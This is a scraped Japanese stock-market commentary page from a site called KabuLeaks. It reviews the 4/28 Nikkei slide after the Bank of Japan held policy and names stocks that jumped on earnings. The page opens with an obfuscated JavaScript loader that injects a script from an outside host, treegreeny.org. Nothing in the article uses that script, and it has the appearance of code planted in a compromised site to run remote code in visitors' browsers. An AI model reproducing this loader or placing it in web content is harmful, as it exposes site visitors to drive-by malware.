;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); 仕手株・ファンド介入リーク情報【4/28 大引け】|【KabuLeaks 〜株リークス〜】
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仕手株・ファンド介入リーク情報【4/28 大引け】

本日の日経平均株価は624円安と4続落。朝方は前日のFOMCでは、追加利上げについて慎重姿勢を示していることを好感され米市場が上昇。また、本日この後控える金融政策決定会合の結果発表、何らかの追加緩和策が発表されるのではとの期待から買い優勢だった。ただ、昼に日銀が金融政策の現状維持を決定するとムードは流れは急転。緩和への期待感が高まっていた状況から一気に失望売り、連休前のポジション調整もかさなり600円超安。為替も108円台へと急速に円高へと傾いた。業種別では、33業種全てが下落。値下がり上位には水産・農林業、小売業、空運業が並んだ。

個別では、デジタル教科書で注目集める【3933】チエルや中国平安グループ傘下入り、決算好感の【3264】アスコットがストップ高なった。また、前日決算発表、自社株買い好感の【2664】カワチ薬品、今期増益見通し好感の【6807】日本航空電子工業などが一時ストップ高の大幅上昇。その他、人工知能関連技術に関する特許が米国で取得の【2158】UBIC、触覚技術の米イマージョンと技術提携の【3698CRI・ミドルウェア、決算&増配好感の【6504富士電機などの上昇も目立った。

日銀失望売りで後場急落。為替相場も108円台とこれからGWも入りしばらくは下値模索の展開を想定しておいたほうがいいかもしれない。円高からの企業決算への警戒感もあり、中長期目線の買い、主力は極力避け中小型株など短期売買に集中が無難か。